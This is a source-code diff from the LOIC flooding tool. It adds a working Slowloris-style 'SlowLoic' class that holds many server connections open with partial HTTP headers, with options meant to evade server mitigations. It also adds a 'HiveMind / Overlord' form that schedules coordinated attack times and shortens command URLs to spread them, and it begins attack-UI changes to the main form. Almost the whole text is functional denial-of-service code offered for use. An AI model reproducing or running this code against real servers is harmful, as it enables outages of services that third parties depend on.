+ /// <param name="subsite">the path to the targeted site / document. (remember: the file has to be at least around 24KB!)</param>
+ /// <param name="delay">time in milliseconds between the creation of new sockets.</param>
+ /// <param name="timeout">time in seconds between a new partial header is sent on the same connection. the higher the better .. but should be UNDER the READ-timeout from the server. (30 seemed to be working always so far!)</param>
+ /// <param name="random">adds a random string to the subsite</param>
+ /// <param name="nSockets">the amount of sockets for this object</param>
+ /// <param name="randcmds">randomizes the sent header for every request on the same socket. (however all sockets send the same partial header during the same cyclus)</param>
+ /// <param name="useGet">if set to TRUE it uses the GET-command - due to the fact that http-Ready mitigates this change this to FALSE to use POST</param>
+ /// <param name="usegZip">turns on the gzip / deflate header to check for: CVE-2009-1891</param>
+ public SlowLoic(string dns, string ip, int port, string subSite, int delay, int timeout, bool random, int nSockets, bool randcmds, bool useGet, bool usegZip)
+ {
+ this._dns = (dns == "") ? ip : dns; //hopefully they know what they are doing :)
+ this._ip = ip;
+ this._port = port;
+ this._subSite = subSite;
+ this._nSockets = nSockets;
+ if (timeout <= 0)
+ {
+ this.Timeout = 30000; // 30 seconds
+ }
+ else
+ {
+ this.Timeout = timeout * 1000;
+ }
+ this.Delay = delay;
+ this._random = random;
+ this._randcmds = randcmds;
+ this._useget = useGet;
+ this._usegZip = usegZip;
+ IsDelayed = true;
+ Requested = 0; // we reset this! - meaning of this counter changes in this context!
+ }
+
+
+ public override void start()
+ {
+ IsFlooding = true;
+ var bw = new BackgroundWorker();
+ bw.DoWork += new DoWorkEventHandler(bw_DoWork);
+ bw.RunWorkerAsync();
+ }
+
+ private void bw_DoWork(object sender, DoWorkEventArgs e)
+ {
+ try
+ {
+ // header set-up
+ byte[] sbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("{3} {0} HTTP/1.1{1}HOST: {2}{1}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){1}Keep-Alive: 300{1}Connection: keep-alive{1}Content-Length: 42{1}{4}", _subSite, Environment.NewLine, _dns, ((_useget) ? "GET" : "POST"), ((_usegZip) ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : "")));
+ byte[] tbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("X-a: b{0}", Environment.NewLine));
+ State = ReqState.Ready;
+ var stop = DateTime.Now;
+
+ while (IsFlooding)
+ {
+ stop = DateTime.Now.AddMilliseconds(Timeout);
+ State = ReqState.Connecting; // SET STATE TO CONNECTING //
+
+ // we have to do this really slow
+ while (IsDelayed && (DateTime.Now < stop))
+ {
+ if (_random == true)
+ {
+ sbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("{4} {0}{1} HTTP/1.1{2}HOST: {3}{2}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){2}Keep-Alive: 300{2}Connection: keep-alive{2}Content-Length: 42{2}{5}", _subSite, new Functions().RandomString(), Environment.NewLine, _dns, ((_useget) ? "GET" : "POST"), ((_usegZip) ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : "")));
+ }
+ var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ try
+ {
+ socket.Connect(((_ip == "") ? _dns : _ip), _port);
+ socket.NoDelay = true;
+ socket.Blocking = false;
+ socket.Send(sbuf);
+ }
+ catch
+ { }
+
+ if (socket.Connected)
+ {
+ _lSockets.Add(socket);
+ Requested++;
+ }
+ IsDelayed = (_lSockets.Count < _nSockets);
+ if (IsDelayed && (Delay > 0))
+ {
+ System.Threading.Thread.Sleep(Delay);
+ }
+ }
+ State = ReqState.Requesting;
+ if (_randcmds)
+ {
+ tbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("X-a: b{0}{1}", new Functions().RandomString(), Environment.NewLine));
+ }
+ for (int i = (_lSockets.Count - 1); i >= 0; i--)
+ { // keep the sockets alive
+ try
+ {
+ if (!_lSockets[i].Connected || (_lSockets[i].Send(tbuf) <= 0))
+ {
+ _lSockets.RemoveAt(i);
+ Failed++;
+ Requested--; // the "requested" number in the stats shows the actual open sockets
+ }
+ else
+ {
+ Downloaded++; // this number is actually BS .. but we wanna see sth happen :D
+ }
+ }
+ catch
+ {
+ _lSockets.RemoveAt(i);
+ Failed++;
+ Requested--;
+ }
+ }
+
+ State = ReqState.Completed;
+ IsDelayed = (_lSockets.Count < _nSockets);
+ if (!IsDelayed)
+ {
+ System.Threading.Thread.Sleep(Timeout);
+ }
+ }
+ }
+ catch
+ {
+ State = ReqState.Failed;
+ }
+ finally
+ {
+ IsFlooding = false;
+ // not so sure about the graceful shutdown ... but why not?
+ for (int i = (_lSockets.Count - 1); i >= 0; i--)
+ {
+ try
+ {
+ _lSockets[i].Close();
+ }
+ catch { }
+ }
+ _lSockets.Clear();
+ State = ReqState.Ready;
+ IsDelayed = true;
+ }
+ }
+
+ } // class SlowLoic
+
+}
View
218 frmEZGrab.Designer.cs
@@ -0,0 +1,218 @@
+namespace LOIC
+{
+ partial class frmEZGrab
+ {
+ /// <summary>
+ /// Erforderliche Designervariable.
+ /// </summary>
+ private System.ComponentModel.IContainer components = null;
+
+ /// <summary>
+ /// Verwendete Ressourcen bereinigen.
+ /// </summary>
+ /// <param name="disposing">True, wenn verwaltete Ressourcen gelöscht werden sollen; andernfalls False.</param>
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Vom Windows Form-Designer generierter Code
+
+ /// <summary>
+ /// Erforderliche Methode für die Designerunterstützung.
+ /// Der Inhalt der Methode darf nicht mit dem Code-Editor geändert werden.
+ /// </summary>
+ private void InitializeComponent()
+ {
+ this.btnUpdate = new System.Windows.Forms.Button();
+ this.groupBox1 = new System.Windows.Forms.GroupBox();
+ this.txtHivemind = new System.Windows.Forms.TextBox();
+ this.label2 = new System.Windows.Forms.Label();
+ this.txtDate = new System.Windows.Forms.TextBox();
+ this.btnShorten = new System.Windows.Forms.Button();
+ this.groupBox2 = new System.Windows.Forms.GroupBox();
+ this.txtOverlord = new System.Windows.Forms.TextBox();
+ this.rbbitly = new System.Windows.Forms.RadioButton();
+ this.rbisgd = new System.Windows.Forms.RadioButton();
+ this.btnCancel = new System.Windows.Forms.Button();
+ this.groupBox1.SuspendLayout();
+ this.groupBox2.SuspendLayout();
+ this.SuspendLayout();
+ //
+ // btnUpdate
+ //
+ this.btnUpdate.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(64)))), ((int)(((byte)(96)))));
+ this.btnUpdate.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.btnUpdate.ForeColor = System.Drawing.Color.Azure;
+ this.btnUpdate.Location = new System.Drawing.Point(340, 19);
+ this.btnUpdate.Name = "btnUpdate";
+ this.btnUpdate.Size = new System.Drawing.Size(55, 22);
+ this.btnUpdate.TabIndex = 3;
+ this.btnUpdate.Text = "Update";
+ this.btnUpdate.UseVisualStyleBackColor = false;
+ this.btnUpdate.Click += new System.EventHandler(this.btnUpdate_Click);
+ //
+ // groupBox1
+ //
+ this.groupBox1.Controls.Add(this.txtHivemind);
+ this.groupBox1.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.groupBox1.ForeColor = System.Drawing.Color.LightBlue;
+ this.groupBox1.Location = new System.Drawing.Point(12, 12);
+ this.groupBox1.Name = "groupBox1";
+ this.groupBox1.Size = new System.Drawing.Size(411, 52);
+ this.groupBox1.TabIndex = 27;
+ this.groupBox1.TabStop = false;
+ this.groupBox1.Text = "IRC Hivemind";
+ //
+ // txtHivemind
+ //
+ this.txtHivemind.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(24)))), ((int)(((byte)(48)))), ((int)(((byte)(64)))));
+ this.txtHivemind.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
+ this.txtHivemind.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.txtHivemind.ForeColor = System.Drawing.Color.Azure;
+ this.txtHivemind.Location = new System.Drawing.Point(15, 19);
+ this.txtHivemind.Name = "txtHivemind";
+ this.txtHivemind.Size = new System.Drawing.Size(380, 20);
+ this.txtHivemind.TabIndex = 1;
+ //
+ // label2
+ //
+ this.label2.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.label2.Location = new System.Drawing.Point(12, 19);
+ this.label2.Name = "label2";
+ this.label2.Size = new System.Drawing.Size(201, 20);
+ this.label2.TabIndex = 5;
+ this.label2.Text = "Attacktime in UTC (leave empty if none):";
+ this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
+ //
+ // txtDate
+ //
+ this.txtDate.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(24)))), ((int)(((byte)(48)))), ((int)(((byte)(64)))));
+ this.txtDate.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
+ this.txtDate.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.txtDate.ForeColor = System.Drawing.Color.Azure;
+ this.txtDate.Location = new System.Drawing.Point(222, 19);
+ this.txtDate.Name = "txtDate";
+ this.txtDate.Size = new System.Drawing.Size(105, 20);
+ this.txtDate.TabIndex = 3;
+ this.txtDate.Text = "2010/05/25 18:00";
+ this.txtDate.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
+ //
+ // btnShorten
+ //
+ this.btnShorten.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(64)))), ((int)(((byte)(96)))));
+ this.btnShorten.Font = new System.Drawing.Font("Arial", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.btnShorten.ForeColor = System.Drawing.Color.Azure;
+ this.btnShorten.Location = new System.Drawing.Point(154, 109);
+ this.btnShorten.Name = "btnShorten";
+ this.btnShorten.Size = new System.Drawing.Size(127, 31);
+ this.btnShorten.TabIndex = 2;
+ this.btnShorten.Text = "Make tiny";
+ this.btnShorten.UseVisualStyleBackColor = false;
+ this.btnShorten.Click += new System.EventHandler(this.btnShorten_Click);
+ //
+ // groupBox2
+ //
+ this.groupBox2.Controls.Add(this.txtOverlord);
+ this.groupBox2.Controls.Add(this.btnUpdate);
+ this.groupBox2.Controls.Add(this.rbbitly);
+ this.groupBox2.Controls.Add(this.btnShorten);
+ this.groupBox2.Controls.Add(this.label2);
+ this.groupBox2.Controls.Add(this.rbisgd);
+ this.groupBox2.Controls.Add(this.txtDate);
+ this.groupBox2.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.groupBox2.ForeColor = System.Drawing.Color.LightBlue;
+ this.groupBox2.Location = new System.Drawing.Point(12, 77);
+ this.groupBox2.Name = "groupBox2";
+ this.groupBox2.Size = new System.Drawing.Size(411, 154);
+ this.groupBox2.TabIndex = 28;
+ this.groupBox2.TabStop = false;
+ this.groupBox2.Text = "OverLord";
+ //
+ // txtOverlord
+ //
+ this.txtOverlord.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(24)))), ((int)(((byte)(48)))), ((int)(((byte)(64)))));
+ this.txtOverlord.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
+ this.txtOverlord.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.txtOverlord.ForeColor = System.Drawing.Color.Azure;
+ this.txtOverlord.Location = new System.Drawing.Point(15, 52);
+ this.txtOverlord.Name = "txtOverlord";
+ this.txtOverlord.Size = new System.Drawing.Size(380, 20);
+ this.txtOverlord.TabIndex = 1;
+ //
+ // rbbitly
+ //
+ this.rbbitly.AutoSize = true;
+ this.rbbitly.Location = new System.Drawing.Point(261, 82);
+ this.rbbitly.Name = "rbbitly";
+ this.rbbitly.Size = new System.Drawing.Size(47, 18);
+ this.rbbitly.TabIndex = 30;
+ this.rbbitly.Text = "bit.ly";
+ this.rbbitly.UseVisualStyleBackColor = true;
+ //
+ // rbisgd
+ //
+ this.rbisgd.AutoSize = true;
+ this.rbisgd.Checked = true;
+ this.rbisgd.Location = new System.Drawing.Point(103, 82);
+ this.rbisgd.Name = "rbisgd";
+ this.rbisgd.Size = new System.Drawing.Size(48, 18);
+ this.rbisgd.TabIndex = 29;
+ this.rbisgd.TabStop = true;
+ this.rbisgd.Text = "is.gd";
+ this.rbisgd.UseVisualStyleBackColor = true;
+ //
+ // btnCancel
+ //
+ this.btnCancel.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(64)))), ((int)(((byte)(96)))));
+ this.btnCancel.DialogResult = System.Windows.Forms.DialogResult.Cancel;
+ this.btnCancel.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.btnCancel.ForeColor = System.Drawing.Color.Azure;
+ this.btnCancel.Location = new System.Drawing.Point(190, 246);
+ this.btnCancel.Name = "btnCancel";
+ this.btnCancel.Size = new System.Drawing.Size(55, 22);
+ this.btnCancel.TabIndex = 32;
+ this.btnCancel.Text = "GTFO";
+ this.btnCancel.UseVisualStyleBackColor = false;
+ this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
+ //
+ // frmEZGrab
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(12)))), ((int)(((byte)(24)))), ((int)(((byte)(32)))));
+ this.ClientSize = new System.Drawing.Size(435, 279);
+ this.Controls.Add(this.btnCancel);
+ this.Controls.Add(this.groupBox2);
+ this.Controls.Add(this.groupBox1);
+ this.ForeColor = System.Drawing.Color.LightBlue;
+ this.Name = "frmEZGrab";
+ this.Text = "HiveMind / Overlord eZGrab";
+ this.groupBox1.ResumeLayout(false);
+ this.groupBox1.PerformLayout();
+ this.groupBox2.ResumeLayout(false);
+ this.groupBox2.PerformLayout();
+ this.ResumeLayout(false);
+
+ }
+
+ #endregion
+
+ private System.Windows.Forms.Button btnUpdate;
+ private System.Windows.Forms.GroupBox groupBox1;
+ private System.Windows.Forms.TextBox txtHivemind;
+ private System.Windows.Forms.Label label2;
+ private System.Windows.Forms.TextBox txtDate;
+ private System.Windows.Forms.Button btnShorten;
+ private System.Windows.Forms.GroupBox groupBox2;
+ private System.Windows.Forms.TextBox txtOverlord;
+ private System.Windows.Forms.RadioButton rbbitly;
+ private System.Windows.Forms.RadioButton rbisgd;
+ private System.Windows.Forms.Button btnCancel;
+
+ }
+}
View
55 frmEZGrab.cs
@@ -0,0 +1,55 @@
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Windows.Forms;
+
+namespace LOIC
+{
+ public partial class frmEZGrab : Form
+ {
+ public string hivemind, overlord;
+
+ public frmEZGrab(string HiveMind, string OverLord)
+ {
+ InitializeComponent();
+ this.hivemind = HiveMind;
+ txtHivemind.Text = HiveMind;
+ this.overlord = OverLord;
+ txtOverlord.Text = OverLord;
+ }
+
+ private void btnUpdate_Click(object sender, EventArgs e)
+ {
+ if (txtDate.Text != "")
+ {
+ txtOverlord.Text = overlord + "&@time=" + txtDate.Text + "@";
+ }
+ }
+
+ private void btnShorten_Click(object sender, EventArgs e)
+ {
+ string turl = "";
+ if (rbbitly.Checked)
+ {
+ turl = "http://bit.ly/?u=";
+ }
+ else if (rbisgd.Checked)
+ {
+ turl = "http://is.gd/create.php?longurl=";
+ }
+ turl += Uri.EscapeDataString(txtOverlord.Text);
+ System.Diagnostics.Process.Start(turl);
+ }
+
+ private void btnCancel_Click(object sender, EventArgs e)
+ {
+ this.Close();
+ }
+
+
+ }
+}
View
120 frmEZGrab.resx
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+ <!--
+ Microsoft ResX Schema
+
+ Version 2.0
+
+ The primary goals of this format is to allow a simple XML format
+ that is mostly human readable. The generation and parsing of the
+ various data types are done through the TypeConverter classes
+ associated with the data types.
+
+ Example:
+
+ ... ado.net/XML headers & schema ...
+ <resheader name="resmimetype">text/microsoft-resx</resheader>
+ <resheader name="version">2.0</resheader>
+ <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+ <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+ <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+ <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+ <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+ <value>[base64 mime encoded serialized .NET Framework object]</value>
+ </data>
+ <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+ <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+ <comment>This is a comment</comment>
+ </data>
+
+ There are any number of "resheader" rows that contain simple
+ name/value pairs.
+
+ Each data row contains a name, and value. The row also contains a
+ type or mimetype. Type corresponds to a .NET class that support
+ text/value conversion through the TypeConverter architecture.
+ Classes that don't support this are serialized and stored with the
+ mimetype set.
+
+ The mimetype is used for serialized objects, and tells the
+ ResXResourceReader how to depersist the object. This is currently not
+ extensible. For a given mimetype the value must be set accordingly:
+
+ Note - application/x-microsoft.net.object.binary.base64 is the format
+ that the ResXResourceWriter will generate, however the reader can
+ read any of the formats listed below.
+
+ mimetype: application/x-microsoft.net.object.binary.base64
+ value : The object must be serialized with
+ : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+ : and then encoded with base64 encoding.
+
+ mimetype: application/x-microsoft.net.object.soap.base64
+ value : The object must be serialized with
+ : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+ : and then encoded with base64 encoding.
+
+ mimetype: application/x-microsoft.net.object.bytearray.base64
+ value : The object must be serialized into a byte array
+ : using a System.ComponentModel.TypeConverter
+ : and then encoded with base64 encoding.
+ -->
+ <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+ <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+ <xsd:element name="root" msdata:IsDataSet="true">
+ <xsd:complexType>
+ <xsd:choice maxOccurs="unbounded">
+ <xsd:element name="metadata">
+ <xsd:complexType>
+ <xsd:sequence>
+ <xsd:element name="value" type="xsd:string" minOccurs="0" />
+ </xsd:sequence>
+ <xsd:attribute name="name" use="required" type="xsd:string" />
+ <xsd:attribute name="type" type="xsd:string" />
+ <xsd:attribute name="mimetype" type="xsd:string" />
+ <xsd:attribute ref="xml:space" />
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:element name="assembly">
+ <xsd:complexType>
+ <xsd:attribute name="alias" type="xsd:string" />
+ <xsd:attribute name="name" type="xsd:string" />
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:element name="data">
+ <xsd:complexType>
+ <xsd:sequence>
+ <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+ <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+ </xsd:sequence>
+ <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+ <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+ <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+ <xsd:attribute ref="xml:space" />
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:element name="resheader">
+ <xsd:complexType>
+ <xsd:sequence>
+ <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+ </xsd:sequence>
+ <xsd:attribute name="name" type="xsd:string" use="required" />
+ </xsd:complexType>
+ </xsd:element>
+ </xsd:choice>
+ </xsd:complexType>
+ </xsd:element>
+ </xsd:schema>
+ <resheader name="resmimetype">
+ <value>text/microsoft-resx</value>
+ </resheader>
+ <resheader name="version">
+ <value>2.0</value>
+ </resheader>
+ <resheader name="reader">
+ <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+ </resheader>
+ <resheader name="writer">
+ <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+ </resheader>
+</root>
View
306 frmMain.Designer.cs
@@ -29,6 +29,7 @@ protected override void Dispose(bool disposing)
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(frmMain));
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.label2 = new System.Windows.Forms.Label();
this.cmdTargetIP = new System.Windows.Forms.Button();
@@ -38,9 +39,11 @@ private void InitializeComponent()
this.txtTargetURL = new System.Windows.Forms.TextBox();
this.groupBox2 = new System.Windows.Forms.GroupBox();
this.txtTarget = new System.Windows.Forms.TextBox();
- this.label5 = new System.Windows.Forms.Label();
- this.label3 = new System.Windows.Forms.Label();
this.groupBox3 = new System.Windows.Forms.GroupBox();
+ this.chkUsegZip = new System.Windows.Forms.CheckBox();
+ this.chkUseGet = new System.Windows.Forms.CheckBox();
+ this.label3 = new System.Windows.Forms.Label();
+ this.txtSLSpT = new System.Windows.Forms.TextBox();
this.chkMsgRandom = new System.Windows.Forms.CheckBox();
this.chkRandom = new System.Windows.Forms.CheckBox();
this.label21 = new System.Windows.Forms.Label();
@@ -59,7 +62,6 @@ private void InitializeComponent()
this.cbMethod = new System.Windows.Forms.ComboBox();
this.txtPort = new System.Windows.Forms.TextBox();
this.tbSpeed = new System.Windows.Forms.TrackBar();
- this.label10 = new System.Windows.Forms.Label();
this.groupBox4 = new System.Windows.Forms.GroupBox();
this.cmdAttack = new System.Windows.Forms.Button();
this.label11 = new System.Windows.Forms.Label();
@@ -81,17 +83,26 @@ private void InitializeComponent()
this.label16 = new System.Windows.Forms.Label();
this.TTip = new System.Windows.Forms.ToolTip(this.components);
this.label24 = new System.Windows.Forms.Label();
+ this.textOLServer =